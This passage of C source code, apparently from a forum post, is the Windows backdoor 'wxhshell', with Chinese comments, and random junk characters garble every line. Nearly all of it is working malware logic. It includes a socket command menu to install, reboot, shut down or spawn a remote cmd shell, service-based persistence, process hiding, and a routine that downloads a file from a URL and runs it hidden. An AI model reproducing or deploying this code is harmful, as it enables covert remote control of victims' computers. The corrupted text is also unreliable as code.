  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y (=$z/  
  else E3 aj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "S0WFP\P+  
  } +IbQVU~/  
  else { oGqbk x  
YjwC8#$  
    switch(cmd[0]) { oTxE]a,  
  e'5sT#T9l  
  // 帮助 \t%rIr  
  case '?': { m7.6;k.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +{H0$4y  
    break; )\fLS d  
  } P~OD d(  
  // 安装 ,(Nr_K  
  case 'i': { //- ;uEO  
    if(Install()) U<.,"`=l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $g]'$PB  
    else (b;*8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'mE!,KeS;  
    break; t(5PKD#~Dc  
    } Zf8_ko;|:-  
  // 卸载 nY50dFA,  
  case 'r': { "/$2oYNy+  
    if(Uninstall()) l5CFm8%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H 5'Ke+4.e  
    else "DU1k6XC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); okQ<_1e{  
    break; J=AF`[  
    } ?bH!|aW(H  
  // 显示 wxhshell 所在路径 /nVGr]t_pj  
  case 'p': { |lVoL.Z,0  
    char svExeFile[MAX_PATH]; _*LgpZ-2(  
    strcpy(svExeFile,"\n\r"); VL| q`n  
      strcat(svExeFile,ExeFile); - DE?L,9X9  
        send(wsh,svExeFile,strlen(svExeFile),0); ;n;bap  
    break; Eh/Z4pzT  
    } .{ r %C4q9  
  // 重启 @_C?M5v  
  case 'b': { [vyi_0[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _/@u[dWeL  
    if(Boot(REBOOT)) KBy*QA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SH/^qDT'  
    else { YuKg|<WO  
    closesocket(wsh); =p 7eP  
    ExitThread(0); 8)51p+a  
    } l"1at eM3  
    break; QK@[ b3-h1  
    } &ub0t9R  
  // 关机 @w5x;uB|%G  
  case 'd': { ]U)Yg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9a3mN(<  
    if(Boot(SHUTDOWN)) } +ZZO0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )lDmYt7me  
    else { F*j0o +B5  
    closesocket(wsh); E e 15Y$1  
    ExitThread(0); IH$ZPux  
    } qB8R4wCf  
    break; dE ]yb|Ld  
    } k;xIo(:  
  // 获取shell #Zt(g(T  
  case 's': { e|S_B*1*0  
    CmdShell(wsh); iFkXt<_A  
    closesocket(wsh); _ 2E*  
    ExitThread(0); #/LU@+  
    break; fsz:A"0H  
  } 9@yi UX  
  // 退出 .p$tb2%r  
  case 'x': { vvmG46IgZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6Us*zKgW  
    CloseIt(wsh); U3b&/z|b?  
    break; }?^5L7n  
    } P1IL ]  
  // 离开 :DoE_  
  case 'q': { w-wap  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /7jb&f   
    closesocket(wsh); 'jj|bN  
    WSACleanup(); lmpBf{~ S  
    exit(1); : oO ?A  
    break; ;?.w!|6  
        } E2u9>m4_J  
  } 83g$k 9lG.  
  } R8C#D B  
3+oGR5gIN  
  // 提示信息 w~wg[d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "'v^X!"  
} T3,}CK#O   
  } W|4h;[w  
28x:]5=jb  
  return; Y=\:fa  
} KuJNKuHa.  
:jr`}Z%;y  
// shell模块句柄 UWo*%&J  
int CmdShell(SOCKET sock) GvI8W)d3,R  
{ P B?92py&  
STARTUPINFO si; s|\\"3  
ZeroMemory(&si,sizeof(si)); B<\HK:%{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v$~$_K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eI3ZV^_Ps  
PROCESS_INFORMATION ProcessInfo; SI, t:=D  
char cmdline[]="cmd"; vtF|: *h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z=yE- I{  
  return 0; i)th] 1K%  
} am+w<NJ(us  
P^[y~I#{  
// 自身启动模式 _bn "c@s  
int StartFromService(void) 14z ?X%  
{ 0S2/,[-u+  
typedef struct K7c[bhi_w  
{ j06qr\Es  
  DWORD ExitStatus; 7(l>Ck3B#  
  DWORD PebBaseAddress; oe<DP7e  
  DWORD AffinityMask; TXo`P_SE  
  DWORD BasePriority; 2Og<e|  
  ULONG UniqueProcessId; ,#U[)}im  
  ULONG InheritedFromUniqueProcessId; W^YaC (I  
}   PROCESS_BASIC_INFORMATION; RmRPR<vGW  
$0XR<D  
PROCNTQSIP NtQueryInformationProcess; wDDNB1_ E  
NOFuX9/'w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; apZPHau6h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }inV)QQ  
=z[$ o9  
  HANDLE             hProcess; %U6A"?To  
  PROCESS_BASIC_INFORMATION pbi; DIw9ov>k  
y}1Pc*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q?>DbT6  
  if(NULL == hInst ) return 0; 7#(0GZN9h%  
se=;vp]3a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xm3r)Bm'3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (7Ln~J*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qL4s@<|~  
Z rv:uEl  
  if (!NtQueryInformationProcess) return 0; o3JSh=  
"h-ZwL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ==AmL]*  
  if(!hProcess) return 0; pp@O6   
'<{Jlz(u9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yw1-4*$c  
a:Nf +t  
  CloseHandle(hProcess);  JKV&c= I  
`BVXF#sb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K[yP{01  
if(hProcess==NULL) return 0; 0.)q5B`  
)H(i)$I  
HMODULE hMod; XAZPbvG|$  
char procName[255]; /j-c29nz  
unsigned long cbNeeded; ?Wc+ J4  
n8tw8o%&[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?j&ZzK'#^  
/@B2-.w  
  CloseHandle(hProcess); WK0:3q(P  
6MNrH  
if(strstr(procName,"services")) return 1; // 以服务启动 $0k7W?tu  
lffw "  
  return 0; // 注册表启动 &0i$Y\g  
} Fw:_O2  
d$"?8r4:K  
// 主模块 ,^RZ1tLz  
int StartWxhshell(LPSTR lpCmdLine) n?U^vK_  
{ U(Tl$#Bt  
  SOCKET wsl; O?ODfO+>  
BOOL val=TRUE; g(9kc<`3'D  
  int port=0; $[Q;{Q  
  struct sockaddr_in door; 67XUhnE  
1'N<ITb  
  if(wscfg.ws_autoins) Install(); C]Y%dQh+a  
%o 5'M^U  
port=atoi(lpCmdLine); iI>7I<_  
=3ovaP  
if(port<=0) port=wscfg.ws_port; C^;>HAK|F  
H+Aidsn  
  WSADATA data; =X9fn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m/"([Y_  
-y>~ :.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u=tp80_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aIDv~#l  
  door.sin_family = AF_INET; sF>O=F-7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4jSYR#Hqp`  
  door.sin_port = htons(port); W*%(J$E  
]&N>F8.L+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wX$|(Y }  
closesocket(wsl); Zl>dBc%  
return 1; f >.^7.is  
} ,"Fl/AjO  
`5e{ec c7  
  if(listen(wsl,2) == INVALID_SOCKET) { 3-&~jm~"  
closesocket(wsl); p8 Ao{  
return 1; g)R2V  
} KK6fRtKv>q  
  Wxhshell(wsl); P*H0Hwn;  
  WSACleanup(); S}a]Bt  
:%Oz:YxC/  
return 0; e"_kH_7sv  
8t. QFze?  
} I&m' a  
o2'Wu:Y"  
// 以NT服务方式启动 _-3n'i8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0n'v F&E8  
{ }%z%}V@(&  
DWORD   status = 0; ;>L8&m)R5  
  DWORD   specificError = 0xfffffff; 0ckmHv  
P@f#DX )  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "}wO<O6[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vK[%c A"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ctn 4q'Q  
  serviceStatus.dwWin32ExitCode     = 0; z:$ibk4#h  
  serviceStatus.dwServiceSpecificExitCode = 0; ) P>/g*  
  serviceStatus.dwCheckPoint       = 0; TEh.?  
  serviceStatus.dwWaitHint       = 0; #4lIna%VX  
{z\K!=X/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lZuH:AH  
  if (hServiceStatusHandle==0) return; rwVp}H G  
reNf?7G+m  
status = GetLastError(); d^J)Mhju  
  if (status!=NO_ERROR) PZ`11#bbm  
{ zj(V\y&H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #]6{>n1*+w  
    serviceStatus.dwCheckPoint       = 0; hlDB'8  
    serviceStatus.dwWaitHint       = 0; ma+AFCi  
    serviceStatus.dwWin32ExitCode     = status; ~\AF\n%  
    serviceStatus.dwServiceSpecificExitCode = specificError; kiyc^s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ix}6%2\  
    return; X9NP,6  
  } e0h[(3bXs$  
+'-.c"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vg5_@7  
  serviceStatus.dwCheckPoint       = 0; \PUJD,9H  
  serviceStatus.dwWaitHint       = 0; ;kY~-Om  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pu+Q3NfR  
} G<Eb~]. 1'  
EwX{i}j_V  
// 处理NT服务事件,比如:启动、停止 w]yVNB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B~7!v${  
{ oda,  
switch(fdwControl) ruGeN  
{ M;,$ )>P  
case SERVICE_CONTROL_STOP: ]gg(Z!|iQ  
  serviceStatus.dwWin32ExitCode = 0; (wM` LE(Ks  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D[#V  
  serviceStatus.dwCheckPoint   = 0; Y)DX   
  serviceStatus.dwWaitHint     = 0; =u?aP}zc  
  { o.Rv<a5.L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |oke)w=gn  
  } ($kw*H{Ah^  
  return; >Rd~-w)!|  
case SERVICE_CONTROL_PAUSE: (/N&_r4x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q :TNf\/o  
  break; pm,xGo2  
case SERVICE_CONTROL_CONTINUE: 8\!E )M|4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BjsT 9?6W/  
  break; WA"~6U*  
case SERVICE_CONTROL_INTERROGATE: (nt`8 0  
  break; N{S) b  
}; 8"9&x} tl-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uT4|43< G  
} nAEyL+6U  
M@{#yEP  
// 标准应用程序主函数 P|bow+4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |Z<\kx  
{ n)98NSVDbT  
,`Y$}"M4  
// 获取操作系统版本 >*8V]{f9  
OsIsNt=GetOsVer(); SXZ9+<\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m]!hP^^  
U`i5B;k}-  
  // 从命令行安装 +q '1P}e  
  if(strpbrk(lpCmdLine,"iI")) Install(); 26rg-?;V^  
NFZ(*v1U  
  // 下载执行文件 j *G: 8Lg  
if(wscfg.ws_downexe) { robg1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0^gY4qx[u  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1wKXOy=v0  
} 1.F&gP)9  
rBNVI;JZW  
if(!OsIsNt) { o #e8 Piw  
// 如果时win9x,隐藏进程并且设置为注册表启动 hc[ K VLpS  
HideProc(); 5 tQz!M  
StartWxhshell(lpCmdLine); hj9TiH/+  
} Td|u@l4B  
else GQn:lu3j:  
  if(StartFromService()) oNyYx6q:Q  
  // 以服务方式启动 WC`h+SC`.  
  StartServiceCtrlDispatcher(DispatchTable); v}6iI}r  
else )x7n-|y6  
  // 普通方式启动 0bDc 4m  
  StartWxhshell(lpCmdLine); B5;%R01A  
oT):#,s  
return 0; M}x%'=Pox  
}
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只看该作者 1 发表于: 2006-10-10
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